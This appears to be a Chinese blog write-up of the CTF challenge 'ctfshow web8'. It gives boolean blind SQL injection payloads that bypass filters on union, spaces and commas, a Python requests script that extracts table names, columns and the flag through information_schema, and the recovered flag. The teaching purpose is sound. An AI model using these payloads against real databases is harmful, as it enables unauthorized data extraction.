当前位置: 首页 > news >正文

ctfshow web8

前言

学习内容:简单的盲注脚本的书写 

web8

这个题目题目手动注入很麻烦  主要是他过滤了 union 空格和' 

过滤了union的解决方法

1、使用盲注(报错注入和盲注)

2、使用时间盲注

3、堆叠注入

盲注脚本的书写

首先他是有注入点的

然后熟悉requests包的使用

requests包

第一步就是导入包 

如果你没下载的话需要你去 pip3 install  requests

发现一堆这个报错

这个是因为 没有 设置web的ssl证书  把https改为http就行了

或者是进行关闭证书验证

x = requests.get( 'http://a3e68ff9-c655-4e31-ab39-0b6fdb1aa5aa.challenge.ctf.show/index.php?id=1/**/or/**/1=1', verify=False)

验证成功   可以查看返回的内容

为了方便也可以写入到文件中去

前置知识说完就开始写脚本

脚本的书写

他过滤了 union 那我们还是可以进行数据库的查询的

其实我们写脚本是不用判断他的数据库啊 表啊的长度是多少的  只要我们多写几个循坏就能搞定

发现使用这个 也会报错 说明这个 , 可能也是被过滤了

这个形式不懂的可以搜一下  其实就是和 , 一样  from是开始的位数 for是步长 

https://a3e68ff9-c655-4e31-ab39-0b6fdb1aa5aa.challenge.ctf.show/index.php?id=1/**/or/**/ascii(substr(database()from/**/1/**/for/**/1))%3E97

这个就是我们的payload

如果我们输入成功就会出现页面  这个可以作为我们一个成功的特征

先写这些  循坏如果是遍历这个 数据库名字的话可以小一些  主要是第二个占位符需要使用 ascii 码进行遍历 

payload%(i,j)   就是表示进行站位符的赋值

发送payload

组合一下是不是就是我们上面的那个  然后再写就是判断正确的返回

根据上面的

发现只有成功才会返回if页面不然就是空的  所以我们判断就是if是不是在返回中

但是这个样子很容易卡死或者  无限循坏 所以需要带个终止的

优化一下  需要注意把 url换为 http开头的

运行 

源码:

import requestsurl="http://1391be5a-661f-4210-a5a8-ee142d9ad5f7.challenge.ctf.show/index.php?id=-1/**/or/**/" #定义为这样为了后面拼接payload
result=""     #定义一个结果for i in range(1,45):# payload="ascii(substr(database()from/**/%d/**/for/**/1))=%d"   #%d就是这个预处理的占位符  这边我们可以是变化的所以就不需要禁下定义  后面执行的时候再给他定义payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'print(f"正在获取第{i}个字符")count=0for j in range(32,127):x=requests.get(url+payload%(i,j),verify=False)if 'If' in x.text:result+=chr(j)print(f"当前的结果{result}")breakcount+=1if count>(127-32):exit()

获取表 :

字段:

    # 获取flag表的字段# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'# 获取flag表的数据# 修改后的payload(注意空格处理)

ctfshow{0f009533-475d-471f-a190-0b795f068b5a}

相关文章:

  • 3.2 Agent核心能力:感知、规划、决策与执行
  • 高并发系统的通用设计方法是什么?
  • 大厂面试-redis
  • 大数据利器Kafka
  • 2025年4月24日 奇门遁甲和股市行情
  • Sqlserver 自增长id 置零或者设置固定值
  • 45、子类需要重写父类的构造函数嘛,子类自己的构造函数呢?
  • gem5-gpu教程03 当前的gem5-gpu软件架构(因为涉及太多专业名词所以用英语表达)
  • Python 流程控制
  • VUE3中使用echarts,配置都正确,不出现tooltip
  • 1.1 java开发的准备工作
  • 运维案例:让服务器稳定运行,守护业务不掉线!
  • AI大模型和人脑的区别
  • 流程架构是什么?为什么要构建流程架构,以及如何构建流程结构?
  • Android Gradle Plugin (AGP) 和 Gradle 的關係
  • Java_day25-29
  • 大模型在代码安全检测中的应用
  • python函数与模块
  • HCIP-H12-821 核心知识梳理 (6)
  • 《浔川AI翻译v6.1.0问题已修复公告》
  • 美媒称特朗普考虑大幅下调对华关税、降幅或超一半,外交部回应
  • 中美正在就关税问题谈判甚至会达成协议?外交部:都是假消息
  • 已有17个国家和国际组织、50多个国际科研机构加入国际月球科研站合作
  • 马上评丨冒名顶替上中专,为何一瞒就是30多年?
  • A股三大股指集体高开,黄金股大幅回调
  • “听公交时听一听”,上海宝山街头遍布“有声图书馆”